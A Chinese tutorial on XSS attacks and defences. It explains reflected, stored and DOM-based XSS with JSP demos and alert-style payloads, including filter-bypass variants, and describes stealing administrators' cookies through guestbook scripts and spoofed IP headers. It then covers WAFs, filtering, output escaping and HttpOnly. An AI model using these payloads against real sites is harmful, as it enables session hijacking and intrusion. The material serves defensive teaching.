网站防御xss攻击

1、什么是XSS

xss就是:让你的网站执行我的JavaScript。
xss攻击门槛低,只要掌握简单的html、js知识就可以尝试,而且几乎所有的网站均存在xss,所以备受关注。

 

2、XSS有什么危害

一般检测网站是否有XSS漏洞都会使用弹窗来验证,如果能让你的网站弹窗了就说明你的网站存在XSS漏洞。那么XSS只是用来弹窗的么,显然不是的,举几个例子:

  • 篡改页面
    比如你的页面里有支付宝账号,跪求打赏的,但是我在你的页面上加入一段JS,把支付宝账号给改了。
  • 获取权限
    比如你是网站管理员,需要在后台对访客留言进行回复,我在留言内容里加入一段JS,把后台地址和cookies发送到我邮箱,这样子我不需要用户和密码就可以进后台操作了。

 

3、实现原理

通过request请求,把包含js代码的字符传输到网站上执行。所以常见的有三种传输方式:

  • get方式
    通过在URL的参数
  • post方式
    各种表单输入框
  • request请求域
    IP地址,浏览器类型等,管理员在看网站访客统计的时候被执行

3.1、举例说明

输入姓名:张三,下面则提示:你好,张三

代码如下:

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS demo</title>
</head>
<body>
<center>
<form method="post">
<h6>请输入姓名</h6>
<input type="text" name="name" value="张三"><br>
<input type="submit">
</form>
<hr>
你好,${name }
</center>
</body>
</html>

到现在为止,没有任何问题,但是如果把张三换成:张三<script>alert(123)</script> 呢?

脚本被正确执行了(在ie下测试,目前一些先进些的浏览器,如chrome,已经过滤了这些基础XSS漏洞)。

3.2、思路扩展

在实际过程中,形式是多变的,你需要根据实际情况灵活组装脚本,比如上面的例子改成这样:

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS demo</title>
</head>
<body>
<center>
<form method="post">
<h6>请输入姓名</h6>
<input type="text" name="name" value="张三" ><br>
<input type="submit">
</form>
<hr>
你好,<input type="text" value="${name }" >
</center>
</body>
</html>

这样你如果还是:张三<script>alert(123)</script>,就不能有效的执行了.
应该换成:张三"><script>alert(123)</script> 。通过加一个>来结束input标签,接下来的脚本就可以正确的执行了。
这样:张三" onclick="alert(123)"。单击触发。
这样:张三" onmouseover="alert(123)"。鼠标移动触发
更多样的方式,如:

<img scr=1 onerror=alert('xss')>当找不到图片名为1的文件时,执行alert('xss')
<a href=javascrip:alert('xss')>s</a> 点击s时运行alert('xss')
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe的scr来弹窗
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>过滤了alert来执行弹窗

插入的不单单可以是js代码片段,还可以是整个js文件,如

<script scr="js_url"></script>
或者
<img src=x onerror=appendChild(createElement('script')).src='js_url' />

 

4、XSS类型

xss大致可以分为:反射型、储蓄型、js漏洞型、flash xss(xsf)、第三方劫持、隐藏触发型、浏览器漏洞,主要为前面两种类型。也可以说主要是分为两种,即反射型和储蓄型,其他的基本为扩展类型和变种类型。

4.1、反射型

实现方式为:

Hacker——发现存在反射XSS的URL——根据输出点的环境构造XSS代码——进行编码、缩短(可有可无,是为了增加迷惑性)——发送给受害人——受害打开后,执行XSS代码——完成hacker想要的功能(获取cookies、url、浏览器信息、IP等等)。

它的特点是用户点击是触发,一般只执行一次,一般最常见的就是把JS代码放到URL里,如:http://www.test.com/search.php?key="><script>alert("XSS")</script>

举个例子来说明:

通过手工或者一些软件(JSky、Safe3WVS、Netsparker等)寻找存在XSS漏洞的页面,比如通过工具获取到一个RUL:http://gdjy.hfut.edu.cn/viewcomp.jsp?id=hzgz123

如何验证确实存在呢?我们在URL上加上一个特殊字符(只要在网页中是唯一的就可以):woaini,然后通过查看源码的方式,确定其出现的位置

根据出现位置的上下文,构造js代码片段。我们发现woaini字符在a标签的href属性里,那我们就可以根据这个环境来构造了,我们可以用"></a><script>alert("xss")</script>来先闭合掉a标签。然后再用script来运行js代码。也可以这样onclick="alert(1)";>123</a>//点击123触发onclick来运行js,然后把后面的内容来注释掉。构造好代码后,把url变成短连接,发送给管理员,诱惑管理员打开,就可以获取管理员的cookies了。

4.2、储蓄型(持久型)

储蓄型XSS其实和反射型XSS差不多,只是储蓄型把数据保存到服务端,而反射型只是让XSS游走在客户端上。
最常见的储蓄型就是留言板。在留言板上测试一般不用alert,容易被人发现,一般会使用较为隐蔽的代码来验证,如< a >你好< /a >。

举个例子:

在留言板上加入一个外部的JS文件(一般使用短地址),这个js可以获取访问者cookies并发送到指定服务器,如果管理员在后台查看的话。

除了这个方法外,还可以通过修改request请求域的方式把这个js文件放到网站上,比如我们使用Firefox浏览器的插件X-Forwarded-For Header和Modify Headers来修改客户端浏览器提交request时的IP参数,一般管理员在查看留言的时候都会显示留言者ip,但是我们把ip换成我们js呢。
从request获取客户端ip的参数有多个,如X_FORWARDED_FOR、HTTP_CLIENT_IP、REMOTE_ADDR等,REMOTE_ADDR没法改,X_FORWARDED_FOR的值可以通过插件X-Forwarded-For Header改,HTTP_CLIENT_IP值可以通过插件Modify Headers改。

4.3、js漏洞型

js漏洞型就是借助网站自身的js漏洞来实现,比较麻烦,因为有时你需要追源,对方可能会自定义函数,所以你需要一步一步来把对方自定义的函数来搞清楚。

举个例子:

某网站的JS里有如下代码

<script>
document.write(document.URL.substring(document.URL.indexOf("a=")+2,document.URL.length));
</script>

大概的意思是把参数a的值打印到页面上,比如 http://www.baidu.com?a=123456,就会把123456打印到页面上。那我们换成http://www.baidu.com?a=<script>alert(123)</script>
(这个在某些浏览器上不一定有效,因为这些是非常基础的漏洞,浏览器就可以判断并拦截掉)

4.4、flash xss(xsf)

这个不展开,用懂as

4.5、第三方劫持

当你一个网站引用了第三方资源的时候,你网站自身的安全和服务器安全做的比较好,很难入侵,但是第三方资源却不一定。比如你在网站中引入了外部的jQuery文件,我就可以通过其他办法入侵外部资源服务器,在你引入的jQuery文件中加入额外的代码来实现最终目的。
比如,打开一个网页,可以执行如下js代码,方便的找出是否引入了外部资源

for(var i=0,tags=document.querySelectorAll('iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]'),tag;tag=tags[i];i++){
  var a = document.createElement('a');
  a.href = tag.src||tag.href||tag.data;
  if(a.hostname!=location.hostname){
    console.warn(location.hostname+' 发现第三方资源['+tag.localName+']:'+a.href);
  }
}

入侵服务器修改外部资源的方法略过...

4.6、隐藏触发型

这种方式会把前面介绍的几种方法结合起来,把需要执行的代码拆分,最后组合程序要的代码,可以绕过很过过滤规则,更加隐蔽,可以手动触发。

举个例子,还是以前面留言板的例子:

比如通过方法,在留言板上加上这段代码,执行 woaini 和 niaiwo 之间的代码

eval(document.boby.innerHTML.substring(document.boby.innerHTML.indexOf('woaini')+6,document.boby.innerHTML.indexOf('niaiwo')));

那等我留言的时候,留言内容为:12345648745465465474woainialert('xss')niaiwoasd5165484613ejkasoidoaid\,就可以实现弹窗。该方法比较隐蔽,不仔细看看不出来,甚至我可以把alert关键字拆开成2部分,最后组合起来,这样不但看不出来还能绕过很多的过滤规则。

也可以通过ajax的方法,加载远程的部分字符串组合成代码执行等等。

4.7、浏览器漏洞

XCS就是利用浏览器来玩XSS,它的功能比普通上的XSS还要强大,因为利用浏览器协议漏洞,可以调用浏览器的API来实现下载覆盖本地文件(可以把它这个功能理解为挂马)。XSC还可以控制浏览器的历史、设置、收藏夹等。

具体不展开

5、如何挖掘漏洞

简单的可以借助软件发现是否有xss漏洞,复杂的隐蔽的只能通过人工的方式挖掘,主要是思想不能僵化,要灵活多变。总结起来就是:见框就插、改URL参数、改数据包不可见部分、js分析。前面2个方法比较简单,后面2个稍微啰嗦一点。具体的操作可分为三步:
1. 先输入一个唯一字符串,然后看源码里有没有出现
2. 再输入<>""/&()等字符串看看是否被过滤了
3. 最后根据输出点实际情况和过滤的字符来构造XSS

或者,使用成熟工具

6、如何防范XSS

6.1、WEB应用防护系统(WAF)

WAF一款通过对http请求的检测分析,为Web应用提供实时防护的安全产品。WAF是Web Application Firewall的缩写,WAF是云盾提供的一项安全服务,为云主机提供WEB安全防护服务,能够有效防黑客利用应用程序漏洞入侵渗透。网站安全防护目前可拦截常见的web漏洞攻击,例如SQL注入、XSS跨站、获取敏感信息、利用开源组件漏洞的攻击等常见的攻击行为。

也就是说WAF是通过分析请求头,把一些非法的请求拒绝掉。一般情况下对网站是透明的,不会拦截正常的请求,如果网站的设计编码不规范,一些不合适的请求也会被拦截。

6.2、自定义程序防范

总的来说可以方位两个方面:过滤输入和转义输出。

但是用户的数据往往是不可测的,比如:

<img src=JaVaScRiPt:alert('xss')>
<img src="jav ascript:alert('xss');">
<img src="javas
cript:alert('xss');"
<img src="javas/*xxxxx*/cript:alert('xss');">
<img src="javasjavascriptcript:alert('xss');">
<img src="java&#x09;script:alert('xss');">
<img src="jav&#97;script:alert('xss');">
...

6.2.1、过滤输入

原则:不相信客户端发送过来的任何数据,且脚本不一定在<script></script>中。

所以,可以写一个filter进行相应的过滤,建议放在较前的位置,要针对get、post、http头等数据进行有效性验证:
- 非法字符等过滤。去除脚本
- 还要进行格式过滤。严格限制其长度,比如姓名,限制了长度,很多脚本就无法插入。年龄字段只能输入数字。

一般情况下,针对URL数据进行的过滤较为严格,比如说不能出现任何JS相关字符,但是针对富文本框(编辑器)就不能过滤太严格,太严格的话可能连文章都写不了。有些时候可能不能进行严格过滤,需要保留脚本,为了在用户体验和安全之间寻找平衡,不同的情况可能会采用了不同的办法,常见的有:

  • 标签转换。
    某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换,即:html encode。
  • 白名单过滤。
    只允许使用白名单内的合法HTML标签,例如IMG。其它均剔除。例如:百度贴吧回帖时候的代码过滤方式。
  • 黑名单过滤。
    构建一个有危害的HTML标签、属性列表,然后通过分析用户提交的HTML代码,剔除其中有害的部分。 如:QQ邮箱的发邮件时的过滤方式。

白名单要安全得多,而黑名单的方式则经常会被绕过,在选择的时候需要灵活确定。

6.2.2、转义输出

在HTML标签中输出变量
在HTML属性中输出变量
在script标签中输出变量
在事件中输出变量
在CSS中输出变量
在URL中输出变量

6.2.3、严格验证接受数据

在后台对接收过来的数据进行严格验证,比如ID是32位的字符串,数字就不应该出现字符等

6.2.4、HttpOnly

前面提到如果收到XSS攻击,有可能会把管理员的cookie通过JavaScript发送给攻击者,从而可以实现无需账号密码登录。那HttpOnly的目的是禁止JavaScript读取cookies。

java原生支持HttpOnly需要在servlet3.0,也就是tomcat7。

单独设置cookie代码很简单:

cookie.setHttpOnly(true);

如果你使用session的话,jsessionid的cookie可以通过tomcat的配置来设置:
可以在context里设置

<Context path="" docBase="" reloadable="false" useHttpOnly="true"/>

也可以在web.xml中设置

<session-config>
<cookie-config>
<http-only>true</http-only>
</cookie-config>
<session-config>

如果在tomcat7以前,默认不支持HttpOnly,那只能通过如下的方法设置:

//设置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

//设置多个cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");

//设置https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");

 

7、如何绕开防XSS机制